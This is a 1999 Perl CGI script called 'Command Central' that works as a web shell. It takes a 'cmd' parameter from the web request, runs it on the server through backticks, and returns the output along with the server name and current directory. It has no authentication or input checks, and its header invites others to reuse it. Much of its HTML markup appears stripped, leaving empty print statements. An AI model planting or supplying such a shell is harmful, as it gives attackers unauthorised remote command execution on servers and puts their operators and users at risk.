#!/usr/local/bin/perl
#####################################################
### Command Central by, Wickedclownz123@WebTV.Net ###
#####################################################
########### Leave this intact if you use ############
#####################################################
## check for line breaks, name anything.pl or .cgi ##
#####################################################
## This script contains JavaScript so WebTV errors ##
#### will happen. Check for line breaks for best ####
############ results of the help file. ##############
##### YOU MAY NOT MODIFY FILE THIS IN ANY WAY #######
# other then the shebang #!/usr/local/bin/perl THNX #
############### © 1999 Wicked Scripts ###############
#####################################################
use CGI;
&parse_form;
$q = new CGI;
$cmd = $q->param('cmd');
use POSIX;
$whereami = POSIX::getcwd();
$PROMPT = "SERVER : $ENV{'SERVER_NAME'}";
$DIRECTORY = "DIRECTORY : $whereami";
$cmd = $input{'cmd'};
($sec,$min,$hour,$mday,$mon,$year,$wday) = (localtime(time))[0,1,2,3,4,5,6]; $date = "TIME : $hour:$min.$sec, 19$year"; print "Content-type: text/html\n\n"; print("\n");
print("\n");
print("Commands Central\n");
print("\n");
print("\n");
print("\n");
print("\n"); print("\n"); print("\n"); print("COMMAND CENTRAL\n"); print("\n"); print("
\n"); print("\n");
print("$PROMPT\n");
print("
\n");
print("$DIRECTORY\n");
print("
\n");
print("$date\n");
print("\n");
print("\n"); print("
\n"); print("\n"); print("Common Commands\n"); print("Chmod Commands\n"); print("\n"); if($cmd ne ""){ $_ = $cmd; s/(.)*=//; s/\+/ /g; s/%(..)/pack("c",hex($1))/ge; $response = `$cmd 2>&1`; print(" >$cmd\n\n$response
\n"); } print("\n"); print("\n"); sub parse_form{ read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); if (length($buffer) < 5) {
$buffer = $ENV{QUERY_STRING};
}
@pairs=split(/&/,$buffer);
foreach $pair(@pairs) {
($name, $value)=split(/=/,$pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][A-F0-9])/pack("C",hex($1))/eg; if($input{$name} eq "") {$input{$name} = $value; push (@fields,$name); } else {$input{$name} = $input{$name}." ".$value;
}}}
# End